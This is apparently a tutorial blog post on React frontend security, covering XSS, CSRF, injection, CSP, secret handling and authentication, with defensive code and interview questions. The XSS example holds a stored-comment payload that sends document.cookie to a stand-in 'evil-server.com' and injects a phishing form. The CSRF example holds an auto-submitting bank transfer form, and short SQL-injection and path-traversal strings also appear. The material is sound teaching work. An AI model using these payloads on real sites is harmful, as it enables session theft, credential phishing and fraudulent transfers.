Security is often treated as an afterthought in frontend development, but the consequences of getting it wrong can be devastating: stolen user data, hijacked sessions, and compliance violations. The good news? React provides several built-in protections. The challenge? Knowing where those protections end and your responsibility begins.
In this deep dive, we'll explore the most critical frontend security vulnerabilities, understand how React mitigates them, and learn best practices to keep your applications secure.
Why Frontend Security Matters
Modern frontend applications handle increasingly sensitive operations:
- Authentication tokens and session management
- Payment processing forms
- Personal user data
- Third-party integrations with API keys
A single vulnerability can expose all of this. Let's understand the threat landscape.
Cross-Site Scripting (XSS)
XSS remains the most common web security vulnerability. It occurs when an attacker injects malicious scripts into content that other users view.
Types of XSS Attacks
Real-World XSS Attack Scenario: Comment Section Exploit
Let's walk through how an attacker exploits a vulnerable comment system:
The Setup: A blog allows users to post comments. The developer renders comments without proper escaping.
// ❌ Vulnerable code
function CommentSection({ comments }) {
return (
<div>
{comments.map(comment => (
<div
key={comment.id}
dangerouslySetInnerHTML={{ __html: comment.text }} // VULNERABLE!
/>
))}
</div>
);
}Step 1: Attacker Crafts Malicious Comment
The attacker posts this "comment":
Great article! <script>
// Steal session cookie and send to attacker's server
fetch('https://evil-server.com/steal?cookie=' + document.cookie);
// Or inject a fake login form
document.body.innerHTML = `
<div style="text-align: center; margin-top: 100px;">
<h2>Session Expired - Please Login Again</h2>
<form action="https://evil-server.com/phish" method="POST">
<input name="email" placeholder="Email" />
<input name="password" type="password" placeholder="Password" />
<button>Login</button>
</form>
</div>
`;
</script>Step 2: Comment Gets Stored
The malicious script is saved to the database along with legitimate comments.
Step 3: Victim Visits the Page
When any user views the comment section:
The Impact:
- Session hijacking (attacker can impersonate victim)
- Credential theft via phishing
- Malware distribution
- Cryptocurrency mining in victim's browser
- Defacement of the website
How React Protects You: Auto-Escaping
React's JSX automatically escapes values before rendering them. This is your first line of defense:
function Comment({ userInput }) {
// React automatically escapes this!
return <div>{userInput}</div>;
}
// If someone passes: "<script>alert('hacked')</script>"
// React renders: "<script>alert('hacked')</script>"
// The script never executes!When you use curly braces {} in JSX, React converts the value to a string and escapes HTML entities. This means:
<becomes<>becomes>"becomes"&becomes&
This happens automatically for all dynamic content in JSX.
The Danger Zone: dangerouslySetInnerHTML
React's protection is bypassed when you use dangerouslySetInnerHTML. The name is intentionally scary:
// ❌ DANGEROUS: Never use with untrusted content
function RenderHTML({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// If 'html' contains: "<img src=x onerror='stealCookies()'>"
// The malicious script WILL execute!Only use dangerouslySetInnerHTML with content you control completely (like your own CMS) or after thorough sanitization.
Safe HTML Rendering with Sanitization
If you must render HTML from users, sanitize it first:
import DOMPurify from 'dompurify';
function SafeHTML({ html }) {
// DOMPurify removes dangerous elements and attributes
const sanitized = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}Popular sanitization libraries:
- DOMPurify - Fast and reliable DOM-based sanitizer
- sanitize-html - Server-side HTML sanitization
- isomorphic-dompurify - Works on both client and server
Other XSS Vectors in React
Auto-escaping doesn't protect against all XSS vectors:
// ❌ DANGEROUS: javascript: URLs
function UserLink({ url }) {
// If url = "javascript:alert('XSS')", the attack succeeds
return <a href={url}>Click me</a>;
}
// ✅ SAFE: Validate URL protocol
function SafeLink({ url }) {
const isValidUrl = url.startsWith('https://') || url.startsWith('http://');
if (!isValidUrl) {
return <span>Invalid link</span>;
}
return <a href={url}>Click me</a>;
}// ❌ DANGEROUS: Inline event handlers from user input
function DynamicButton({ onClickCode }) {
// Never do this!
return <button onClick={() => eval(onClickCode)}>Click</button>;
}
// ❌ DANGEROUS: Dynamically setting style with user input
function UserStyled({ userStyle }) {
// CSS injection: userStyle could be "background: url('javascript:...')"
return <div style={{ background: userStyle }}>Content</div>;
}XSS Prevention Checklist
| Vector | Protection |
|---|---|
| Dynamic text content | ✅ React auto-escapes |
dangerouslySetInnerHTML | Sanitize with DOMPurify |
href attributes | Validate URL protocol |
| Inline styles from user input | Sanitize CSS values |
eval(), new Function() | Never use with user input |
| Third-party scripts | Use CSP and SRI |
Cross-Site Request Forgery (CSRF)
CSRF tricks authenticated users into performing unwanted actions. The attack exploits the browser's automatic cookie inclusion.
How CSRF Works
Real-World CSRF Attack Scenario: Bank Transfer Exploit
Let's see a complete CSRF attack in action:
The Setup: A banking website has this transfer endpoint:
// Bank's vulnerable API endpoint
export async function POST(request: Request) {
// Only checks session cookie - no CSRF token!
const session = cookies().get('session')?.value;
if (!session) {
return new Response('Unauthorized', { status: 401 });
}
const formData = await request.formData();
const toAccount = formData.get('to');
const amount = formData.get('amount');
// Process transfer...
await transferMoney(session.userId, toAccount, amount);
return new Response('Transfer successful');
}Step 1: Victim Logs into Bank
The user logs into bank.com. The bank sets a session cookie:
Set-Cookie: session=abc123; Path=/; HttpOnlyStep 2: Attacker Creates Malicious Page
The attacker creates a page at free-iphone-giveaway.com:
<!DOCTYPE html>
<html>
<head>
<title>You Won a Free iPhone!</title>
</head>
<body>
<h1>Congratulations! Click below to claim your prize!</h1>
<!-- Hidden form that auto-submits -->
<form id="evil-form" action="https://bank.com/api/transfer" method="POST" style="display: none;">
<input name="to" value="attacker-account-999" />
<input name="amount" value="10000" />
</form>
<script>
// Submit immediately when page loads
document.getElementById('evil-form').submit();
</script>
<!-- Or use an invisible iframe for stealth -->
<iframe name="hidden-frame" style="display: none;"></iframe>
</body>
</html>Step 3: Victim Visits Malicious Site
The attacker sends a phishing email: "You've won a free iPhone! Click here to claim."
Why This Works:
- Browser automatically includes
bank.comcookies with requests TObank.com - It doesn't matter that the request originated from
evil-site.com - The bank only verified the session cookie, not the request origin
The Impact:
- Unauthorized money transfers
- Password/email changes
- Account deletion
- Privilege escalation
- Any action the victim can perform
Why CSRF is Less of a Problem in Modern React Apps
Traditional CSRF relied on forms that auto-submit. Modern SPAs using fetch() have natural protection:
- Same-Origin Policy: Browser blocks cross-origin requests by default
- CORS: Server must explicitly allow cross-origin requests
- Non-simple requests:
fetch()with JSON triggers preflight checks
However, CSRF protection is still needed for:
- Server-side rendered forms
- Cookie-based authentication
- APIs that accept form-encoded data
CSRF Protection Strategies
1. SameSite Cookies (Browser-level)
// Next.js API route setting secure cookies
import { cookies } from 'next/headers';
export async function POST(request: Request) {
cookies().set('session', token, {
httpOnly: true, // Prevents JavaScript access
secure: true, // HTTPS only
sameSite: 'strict', // Prevents cross-site sending
path: '/',
maxAge: 60 * 60 * 24 * 7, // 1 week
});
}| SameSite Value | Behavior |
|---|---|
strict | Cookie never sent cross-site (safest, but breaks some flows) |
lax | Cookie sent for top-level navigations (default, good balance) |
none | Cookie always sent (must be secure, use only when necessary) |
2. CSRF Tokens
For traditional form submissions, use CSRF tokens:
// Server: Generate and store CSRF token
import { randomBytes } from 'crypto';
export async function generateCSRFToken(sessionId: string) {
const token = randomBytes(32).toString('hex');
await redis.set(`csrf:${sessionId}`, token, 'EX', 3600);
return token;
}// Client: Include token in forms and requests
function TransferForm({ csrfToken }) {
return (
<form action="/api/transfer" method="POST">
<input type="hidden" name="csrf_token" value={csrfToken} />
<input name="amount" type="number" />
<button type="submit">Transfer</button>
</form>
);
}// Server: Validate CSRF token
export async function POST(request: Request) {
const formData = await request.formData();
const token = formData.get('csrf_token');
const sessionId = getSessionId(request);
const storedToken = await redis.get(`csrf:${sessionId}`);
if (!token || token !== storedToken) {
return new Response('Invalid CSRF token', { status: 403 });
}
// Process the request...
}3. Custom Headers (for AJAX)
// API calls with custom header - CORS will block cross-origin attempts
async function secureAPICall(endpoint: string, data: object) {
const response = await fetch(endpoint, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest', // Custom header
},
body: JSON.stringify(data),
});
return response.json();
}The server can verify the presence of X-Requested-With header, which browsers won't include in cross-origin requests without CORS approval.
Injection Attacks
Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query.
URL/Path Injection
// ❌ DANGEROUS: User input directly in URL
function FetchUserData({ userId }) {
useEffect(() => {
// If userId = "../admin/secrets", path traversal occurs!
fetch(`/api/users/${userId}/profile`)
.then(res => res.json())
.then(setUser);
}, [userId]);
}
// ✅ SAFE: Validate and encode user input
function FetchUserData({ userId }) {
useEffect(() => {
// Validate: only alphanumeric characters allowed
if (!/^[a-zA-Z0-9]+$/.test(userId)) {
console.error('Invalid user ID');
return;
}
// Encode to be safe
fetch(`/api/users/${encodeURIComponent(userId)}/profile`)
.then(res => res.json())
.then(setUser);
}, [userId]);
}Template Literal Injection
// ❌ DANGEROUS: Dynamic className with user input
function UserBadge({ userClass }) {
// If userClass = "badge; } body { display: none; } .x {"
// CSS injection!
return <div className={`badge ${userClass}`}>Premium User</div>;
}
// ✅ SAFE: Whitelist allowed values
const ALLOWED_BADGES = ['gold', 'silver', 'bronze'] as const;
function UserBadge({ tier }: { tier: string }) {
const badgeClass = ALLOWED_BADGES.includes(tier as any) ? tier : 'default';
return <div className={`badge badge-${badgeClass}`}>Premium User</div>;
}SQL Injection (Backend Context)
While SQL injection happens on the backend, frontend developers should understand it:
// ❌ DANGEROUS: String concatenation in queries
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// If userId = "'; DROP TABLE users; --"
// Query becomes: SELECT * FROM users WHERE id = ''; DROP TABLE users; --'
// ✅ SAFE: Parameterized queries (backend)
const result = await db.query(
'SELECT * FROM users WHERE id = $1',
[userId]
);
// ✅ SAFE: ORMs handle this automatically
const user = await prisma.user.findUnique({
where: { id: userId }
});Input Validation Best Practices
import { z } from 'zod';
// Define strict schemas for all user input
const UserInputSchema = z.object({
email: z.string().email(),
username: z.string()
.min(3)
.max(20)
.regex(/^[a-zA-Z0-9_]+$/, 'Only alphanumeric and underscore'),
age: z.number().int().min(13).max(120),
website: z.string().url().optional(),
});
// Validate before using
function handleSubmit(formData: unknown) {
const result = UserInputSchema.safeParse(formData);
if (!result.success) {
// Handle validation errors
console.error(result.error.flatten());
return;
}
// Safe to use result.data
submitToAPI(result.data);
}Content Security Policy (CSP)
CSP is a browser security feature that helps prevent XSS by controlling which resources can load.
How CSP Works
Configuring CSP in Next.js
// next.config.js
const ContentSecurityPolicy = `
default-src 'self';
script-src 'self' 'nonce-{nonce}' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https: blob:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.yourapp.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
`;
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: ContentSecurityPolicy.replace(/\s{2,}/g, ' ').trim(),
},
],
},
];
},
};CSP Directives Explained
| Directive | Purpose | Example |
|---|---|---|
default-src | Fallback for all resource types | 'self' |
script-src | JavaScript sources | 'self' 'nonce-abc123' |
style-src | CSS sources | 'self' 'unsafe-inline' |
img-src | Image sources | 'self' data: https: |
connect-src | XHR, fetch, WebSocket | 'self' https://api.example.com |
frame-ancestors | Who can embed your page | 'none' (prevents clickjacking) |
base-uri | Restricts <base> element | 'self' |
Nonce-Based Script Loading
For inline scripts with strict CSP:
// middleware.ts
import { NextResponse } from 'next/server';
import crypto from 'crypto';
export function middleware(request) {
const nonce = crypto.randomBytes(16).toString('base64');
const csp = `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
style-src 'self' 'nonce-${nonce}';
`;
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}// app/layout.tsx
import { headers } from 'next/headers';
export default function RootLayout({ children }) {
const nonce = headers().get('x-nonce') || '';
return (
<html>
<head>
<script nonce={nonce}>
{`console.log('This inline script is allowed by CSP');`}
</script>
</head>
<body>{children}</body>
</html>
);
}Sensitive Data Exposure
Environment Variables
// ❌ DANGEROUS: API keys in client-side code
const API_KEY = 'sk_live_abc123'; // Visible in browser bundle!
// ✅ SAFE: Use NEXT_PUBLIC_ prefix intentionally
// Only public, non-sensitive values
const ANALYTICS_ID = process.env.NEXT_PUBLIC_ANALYTICS_ID;
// ✅ SAFE: Keep secrets server-side only
// In .env.local (without NEXT_PUBLIC_ prefix)
// API_SECRET=sk_live_abc123
// Server Component or API Route
export async function getServerData() {
// This runs only on the server
const secret = process.env.API_SECRET;
const response = await fetch('https://api.service.com', {
headers: { Authorization: `Bearer ${secret}` }
});
return response.json();
}Server Components for Sensitive Operations
React Server Components are perfect for handling secrets:
// ✅ UserProfile.tsx (Server Component)
// API key never reaches the browser
async function UserProfile({ userId }) {
const user = await fetch(`https://api.internal.com/users/${userId}`, {
headers: {
Authorization: `Bearer ${process.env.INTERNAL_API_KEY}`,
},
}).then(r => r.json());
return (
<div>
<h1>{user.name}</h1>
{/* Only public data is rendered to HTML */}
<p>{user.bio}</p>
</div>
);
}Client-Side Storage Security
// ❌ DANGEROUS: Sensitive data in localStorage
localStorage.setItem('authToken', 'jwt_token_here');
// Vulnerable to XSS - any script can read it!
// ✅ SAFER: HttpOnly cookies for auth tokens
// Set by server, inaccessible to JavaScript
// See CSRF section for cookie configuration
// For non-sensitive client state, use sessionStorage
sessionStorage.setItem('formDraft', JSON.stringify(formData));
// Cleared when tab closes, but still readable by XSSThird-Party Dependencies
Supply Chain Attack Risks
Your app is only as secure as your dependencies. A compromised npm package can:
- Steal environment variables
- Exfiltrate user data
- Inject cryptocurrency miners
- Create backdoors
Dependency Security Practices
1. Regular Auditing
# Check for known vulnerabilities
npm audit
# Auto-fix where possible
npm audit fix
# Check for outdated packages
npm outdated2. Lock File Integrity
# Always commit package-lock.json
# Use npm ci in CI/CD (respects lock file exactly)
npm ci3. Subresource Integrity (SRI)
For external scripts, verify integrity:
// ✅ SAFE: SRI hash verification
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/..."
crossOrigin="anonymous"
/>4. Dependency Review Tools
- npm audit - Built-in vulnerability scanner
- Snyk - Advanced vulnerability detection
- Socket.dev - Supply chain attack detection
- Dependabot - Automated dependency updates
Vendoring Critical Dependencies
For critical dependencies, consider vendoring:
// Instead of importing from npm
import { sanitize } from 'dompurify';
// Vendor the specific version you've audited
import { sanitize } from '@/vendor/dompurify-3.0.5';Authentication & Authorization
JWT Security
// ❌ DANGEROUS: Storing JWT in localStorage
const token = localStorage.getItem('token');
// XSS can steal this!
// ✅ SAFER: HttpOnly cookie + short-lived access tokens
// Server sets the cookie:
cookies().set('accessToken', jwt, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60, // 15 minutes
});
// Refresh tokens in HttpOnly cookie with longer expiry
cookies().set('refreshToken', refreshJwt, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/auth/refresh', // Only sent to refresh endpoint
maxAge: 60 * 60 * 24 * 7, // 7 days
});Route Protection Patterns
Server-Side Protection (Recommended)
// middleware.ts
import { NextResponse } from 'next/server';
import { verifyToken } from '@/lib/auth';
export async function middleware(request) {
const token = request.cookies.get('accessToken')?.value;
if (!token) {
return NextResponse.redirect(new URL('/login', request.url));
}
try {
const payload = await verifyToken(token);
// Add user info to headers for downstream use
const response = NextResponse.next();
response.headers.set('x-user-id', payload.userId);
return response;
} catch {
return NextResponse.redirect(new URL('/login', request.url));
}
}
export const config = {
matcher: ['/dashboard/:path*', '/settings/:path*'],
};Client-Side Protection (for UX)
// hooks/useAuth.ts
'use client';
import { useRouter } from 'next/navigation';
import { useEffect } from 'react';
export function useRequireAuth() {
const router = useRouter();
const { user, loading } = useUser();
useEffect(() => {
if (!loading && !user) {
router.push('/login');
}
}, [user, loading, router]);
return { user, loading };
}Client-side route protection is for UX only. Always validate authentication server-side. A malicious user can bypass client-side checks.
Authorization Best Practices
// ✅ Server Component with authorization
async function AdminDashboard() {
const user = await getCurrentUser();
if (!user || user.role !== 'admin') {
redirect('/unauthorized');
}
const adminData = await getAdminData();
return <AdminView data={adminData} />;
}
// ✅ API Route with authorization
export async function DELETE(request: Request, { params }) {
const user = await getCurrentUser();
const post = await getPost(params.id);
// Check ownership
if (post.authorId !== user.id && user.role !== 'admin') {
return new Response('Forbidden', { status: 403 });
}
await deletePost(params.id);
return new Response(null, { status: 204 });
}Security Headers
Beyond CSP, configure these security headers:
// next.config.js
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
// Prevent clickjacking
{ key: 'X-Frame-Options', value: 'DENY' },
// Prevent MIME type sniffing
{ key: 'X-Content-Type-Options', value: 'nosniff' },
// Enable browser XSS filter
{ key: 'X-XSS-Protection', value: '1; mode=block' },
// Control referrer information
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
// Enforce HTTPS
{ key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains' },
// Permissions Policy (formerly Feature Policy)
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
],
},
];
},
};Interview Questions
Here are common security questions for React developers:
Q1: How does React prevent XSS attacks?
Answer: React automatically escapes all values rendered in JSX using curly braces {}. When you render {userInput}, React converts it to a string and escapes HTML entities (< becomes <, etc.). This prevents malicious scripts from executing.
However, this protection is bypassed when using:
dangerouslySetInnerHTML- renders raw HTMLhrefattributes withjavascript:URLs- Inline event handlers with
eval()
For these cases, always sanitize with libraries like DOMPurify and validate URLs.
Q2: What's the difference between XSS and CSRF?
Answer:
| XSS | CSRF |
|---|---|
| Injects malicious script into your site | Tricks user into making request to your site |
| Executes in victim's browser context | Exploits browser's automatic cookie inclusion |
| Steals data, hijacks sessions | Performs actions as authenticated user |
| Prevented by escaping, CSP | Prevented by tokens, SameSite cookies |
XSS is about injecting code. CSRF is about tricking authenticated requests.
Q3: Why shouldn't you store JWTs in localStorage?
Answer: localStorage is accessible to any JavaScript running on the page. If an XSS vulnerability exists, an attacker can steal the JWT with localStorage.getItem('token').
Better approach:
- Store tokens in HttpOnly cookies (JavaScript can't access)
- Use short-lived access tokens (15 minutes)
- Implement refresh token rotation
- Add CSRF protection since cookies are sent automatically
Q4: How would you implement CSP in a Next.js application?
Answer: Configure CSP via the headers() function in next.config.js:
const csp = `
default-src 'self';
script-src 'self' 'nonce-{nonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
`;For inline scripts, use nonces generated in middleware. For third-party scripts, add their domains to script-src or use SRI hashes.
Q5: What security benefits do React Server Components provide?
Answer: Server Components improve security by:
- Keeping secrets server-side: API keys, database credentials never reach the browser
- No client bundle exposure: Server Component code isn't shipped to clients
- Direct database access: No need for exposed API endpoints
- Reduced attack surface: Less client-side code means fewer XSS vectors
Example: A Server Component can directly query a database with credentials, and the client only receives the rendered HTML.
Security Checklist
Use this checklist for React application security:
| Category | Check |
|---|---|
| XSS | Never use dangerouslySetInnerHTML with user content without sanitization |
| XSS | Validate URL protocols before rendering in href |
| XSS | Implement Content Security Policy headers |
| CSRF | Use SameSite cookies for authentication |
| CSRF | Implement CSRF tokens for sensitive forms |
| Auth | Store tokens in HttpOnly cookies, not localStorage |
| Auth | Validate authentication server-side |
| Data | Never expose API keys in client code |
| Data | Use Server Components for sensitive operations |
| Headers | Configure X-Frame-Options, HSTS, X-Content-Type-Options |
| Deps | Run npm audit regularly |
| Deps | Use lock files and npm ci in CI/CD |
| Input | Validate all user input with schemas (Zod) |
Conclusion
Frontend security in React is a shared responsibility between the framework and the developer. React provides excellent default protections against XSS through JSX escaping, but you must remain vigilant about:
- Dangerous APIs:
dangerouslySetInnerHTML,javascript:URLs,eval() - Authentication: Use HttpOnly cookies, validate server-side
- Content Security Policy: Implement strict CSP headers
- Dependencies: Audit regularly, verify integrity
- Data exposure: Keep secrets in Server Components
Security isn't a one-time task. It's an ongoing practice. Regular audits, staying updated on vulnerabilities, and following the principle of least privilege will keep your React applications secure.
Have questions about React security? Drop a comment below!
Vikram Dokkupalle
Frontend Engineer & UI/UX Enthusiast. Passionate about React, performance, and clean design.
Loading comments...



